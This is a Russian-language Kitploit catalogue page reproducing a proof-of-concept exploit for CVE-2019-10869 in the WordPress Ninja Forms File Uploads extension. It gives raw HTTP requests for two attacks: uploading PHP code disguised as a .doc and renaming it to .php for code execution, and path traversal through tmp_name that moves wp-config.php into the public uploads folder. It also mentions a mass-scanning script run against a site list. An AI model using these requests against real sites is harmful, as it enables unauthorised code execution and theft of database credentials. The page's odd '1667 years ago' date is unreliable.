Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-10869 — (Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Неаутентифицированная произвольная загрузка файлов | Kitploit
Инструменты/GitHubGitHub/ktn1990/cve-2019-10869
Генерация полезной нагрузкиАнализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubktn1990/cve-2019-10869

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Неаутентифицированная произвольная загрузка файлов

Репозиторий
1667 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-10869

(WordPress) Расширение загрузки файлов Ninja Forms <= 3.0.22 – Неавторизованная произвольная загрузка файла

Описание:

Обход пути и неограниченная загрузка файлов существует в плагине Ninja Forms до версии 3.0.23 для WordPress (когда активировано дополнение Uploads). Это позволяет злоумышленнику обходить файловую систему для доступа к файлам и выполнения кода через параметры name и tmp_name в includes/fields/upload.php (также страница upload/submit).

POC:

Первоначальный запрос загрузки файла:

root@kitploit:~
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522

-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"

1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"

5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"

0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword

<?php phpinfo(); ?>
-----------------------------16345274557837--

Ответ:

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.0 

"data":{  
    "files":[  
       {  
          "name":"test.png.doc",
          "type":"application\/msword",
          "tmp_name":"nftmp-14FpD-test.png.doc",
          "error":0,
          "size":19
       }
    ]
 }

Когда форма отправляется, первоначально загруженный временный файл перемещается в новое место:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.(php)",
       "tmp_name":"nftmp-BNxfG-test.png.doc",
       "fieldID":5
    }
 ]
--snip--

Затем параметр “name” “очищается” функцией WordPress sanitize_file_name, которая по существу только удаляет набор предопределенных специальных символов:

root@kitploit:~
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file)); 

sanitize_file_name 
Removes special characters that are illegal in filenames  
on certain operating systems and special characters 
requiring special escaping to manipulate at the command line. 
Replaces spaces and consecutive dashes with a single dash.  
Trims period, dash and underscore from beginning and end of filename.  
It is not guaranteed that this function will return a filename 
that is allowed to be uploaded. 

https://developer.wordpress.org/reference/functions/sanitize_file_name/ 

Это приводит к перемещению временного файла в конечное местоположение: /wp-content/uploads/ninja-forms/1/test.php

Если папка загрузки не была сделана явно неисполняемой, что по умолчанию не так, это приводит к выполнению кода:

alt text

Обход пути в tmp_name:

При отправке формы также возможно обойти файловую систему через параметр tmp_name, как показано ниже. Имейте в виду, что временные файлы перемещаются в новое местоположение в папке uploads!

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.doc",
       "tmp_name":"../../../../wp-config.php",
       "fieldID":5
    }
 ]
--snip--

Это приводит к перемещению файла wp-config.php в следующее местоположение: /wp-content/uploads/ninja-forms/1/test.doc

АВТОСКАНИРОВАНИЕ:

root@kitploit:~
USAGE: python script.py list-site.txt
Скачать инструмент